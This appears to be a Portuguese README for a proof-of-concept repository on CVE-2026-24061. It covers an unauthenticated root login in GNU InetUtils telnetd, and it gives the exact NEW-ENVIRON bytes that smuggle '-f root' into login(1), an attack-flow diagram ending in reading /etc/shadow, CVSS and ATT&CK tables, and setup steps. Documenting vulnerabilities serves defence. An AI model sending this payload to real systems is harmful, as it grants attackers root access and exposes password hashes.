
GNU InetUtils telnetd - Root remoto não autenticado via injeção de variável NEW-ENVIRON.
GNU InetUtils telnetd - Root Remoto Não Autenticado via Injeção de Variável NEW-ENVIRON
Visão Geral - Análise Técnica - Versões Afetadas - Uso - Remediação - Referências
CVE-2026-24061 é uma vulnerabilidade crítica de bypass de autenticação no daemon telnetd distribuído como parte do GNU InetUtils. A falha reside no tratamento da opção Telnet NEW-ENVIRON (RFC 1572) durante o handshake inicial do protocolo.
A causa raiz é a falha em sanitizar variáveis de ambiente fornecidas pelo cliente antes de passá-las ao programa login(1). Quando o daemon Telnet recebe um pacote de sub-negociação NEW-ENVIRON IS contendo a variável USER com o valor -f root, ele passa esse valor não sanitizado diretamente para o binário login do sistema.
Em sistemas onde login aceita a flag -f (forçar login sem verificação de senha), isso resulta em uma sessão root não autenticada sendo concedida ao atacante remoto.
Esta classe de vulnerabilidade tem precedente histórico: CVE-2001-0797 no SysV telnetd e o conhecido bypass -f do telnetd Linux de 1994 exploraram a mesma falha fundamental de não sanitizar argumentos originados de variáveis de ambiente passados para binários privilegiados.
Nenhuma credencial necessária. Nenhum acesso prévio necessário. Uma única sequência de pacotes de rede alcança root.
O telnetd do GNU InetUtils processa a sub-negociação NEW-ENVIRON (código de opção 0x27, conforme RFC 1572) para coletar variáveis de ambiente fornecidas pelo cliente. Essas variáveis são montadas em um vetor de argumentos e passadas para execve(2) ao iniciar o login(1).
A vulnerabilidade é acionada da seguinte forma:
IAC DO NEW-ENVIRON, solicitando variáveis de ambiente do cliente.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd constrói a invocação do login como login -f root.login(1) interpreta -f como "forçar login, pular autenticação" e autentica o usuário especificado (root) sem exigir senha.| Etapa | Direção | Bytes Telnet (hex) | Significado |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root FuncionaO binário login(1) em muitos sistemas Linux aceita a flag -f <usuário> para logins "pré-autenticados", historicamente usada por multiplexadores de terminal e rlogin. Quando o telnetd constrói sua chamada exec e falha em remover hífens iniciais ou validar strings semelhantes a opções nos valores de variáveis de ambiente, ele inadvertidamente passa flags controladas pelo atacante diretamente para o login.
A chamada efetiva se torna:
execve("/bin/login", ["login", "-f", "root"], envp);
Atacante telnetd vulnerável (porta 23)
| |
|------- TCP SYN (porta 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd chama: login -f root] |
| |
|<------ Prompt de shell root (#) ------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow conteúdo -----|
Pré-requisitos:
telnetd do GNU InetUtils (TCP/23 aberto)inetutilslogin(1) suporta a flag -f (padrão na maioria das distribuições Linux)| Software | Versões Afetadas | Status |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (versão corrigida específica a definir) | Vulnerável |
| Distribuições que distribuem GNU inetutils não corrigido | Várias | Verificar aviso do fornecedor |
Verifique se sua distribuição distribui uma versão corrigida. Muitos sistemas modernos têm Telnet desabilitado por padrão; a exposição requer um
telnetdexplicitamente em execução.
| Métrica | Valor |
|---|---|
| Pontuação Base CVSS v3.1 | 9.8 (Crítico) |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Escopo | Inalterado |
| Impacto na Confidencialidade | Alto |
| Impacto na Integridade | Alto |
| Impacto na Disponibilidade | Alto |
| String do Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Tática | Técnica | Relevância |
|---|---|---|---|
| T1190 | Acesso Inicial | Explorar Aplicação Exposta ao Público | Exploração direta do telnetd pela rede |
| T1059 | Execução | Interpretador de Comandos e Scripts | Execução de shell pós-exploração |
| T1078.004 | Escalação de Privilégio / Evasão de Defesa | Contas Válidas: Contas Locais | Bypass de autenticação gera uma sessão root válida |
| T1548 | Escalação de Privilégio | Abusar Mecanismo de Controle de Elevação | Flag login -f abusada para contornar PAM/autenticação |
| T1046 | Descoberta | Descoberta de Serviços de Rede | Componente de varredura em massa do PoC |
Requisitos: Python 3 (apenas biblioteca padrão, zero dependências externas).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
Nenhum pip install necessário. Ambos os scripts usam apenas a biblioteca padrão do Python.